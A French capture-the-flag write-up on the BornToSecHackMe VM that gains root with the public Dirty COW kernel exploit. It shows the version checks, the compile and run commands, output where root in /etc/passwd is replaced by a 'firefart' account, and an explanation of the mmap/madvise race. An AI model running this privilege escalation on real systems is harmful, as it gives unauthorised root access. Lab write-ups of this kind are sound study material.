Nous pouvons nous connecter à la VM avec les identifiants zaz trouvés avec la méthode décrite sur le writeup1
Une fois connectés en ssh, nous vérifions la version du kernel Linux.
$> uname -r
3.2.0-91-generic-pae
Nous vérifions aussi la version de la distribution Linux.
$> lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04.5 LTS
Release: 12.04
Codename: precise
Si nous cherchons sur internet et sur exploit-db, nous pouvons voir qu'il existe une vulnérabilité publique pour la version du kernel 2.6.22 < 3.9.
Une fois le code de l'exploit Dirty COW copié, on crée un fichier dirty.c sur le terminal connecté en ssh et on le compile.
$>gcc -pthread dirty.c -o dirty -lcrypt
Il nous demande ensuite un mot de passe, on peut mettre 1234
.
$> ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Après l'exécution du programme, l'user root aura été remplacé par firefart (on peut changer ce nom par défaut en modifiant le code) et nous pourrons nous connecter avec le mot de passe choisi.
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash
mmap: b7fda000
madvise 0
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
$> su
Password:
firefart@BornToSecHackMe:/home/zaz# id
uid=0(firefart) gid=0(root) groups=0(root)
Youpi on est root !!
Le script utilisé exploite une faille de sécurité dans le système Copy On Write qui a été présent sur le noyau Linux pendant très longtemps. Copy On Write ou COW
permet gagner du temps quand on fait une copie. Quand on accède à l'élément copié, on a accès encore à l'élément original et la copie n'est pas faite que quand cet élément est modifié. S'il y a un problème, les données peuvent s'écrire dans un emplacement mémoire qui ne leur correspond pas.
L'exploit qui permet d'écrire sur un fichier qui, à priori, est de lecture seul (par exemple /ect/passwd
), suit ces pas :
- Fait un mapping privé du fichier à écrire (même si le contexte est de lecture, il peut être écrit car il est privé).
map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0);
- En même temps qu'il écrit, il lance l'appel system madvise() avec
MADV_DONTNEED
pour indiquer au kernel qu'il peut libérer temporairement la mémoire utilisée par le fichier assigné. À chaque fois que l'on veut écrire, il faut charger une nouvelle copie, ce qui prend du temps et, si le cycle Copy On Write n'a pas encore fini, on peut écrire sur l'original au lieu de la copie en mémoire.
c += madvise(map, 100, MADV_DONTNEED);
Vous pouvez voir une explication plus détaillée sur le fonctionnement de l'exploit ici.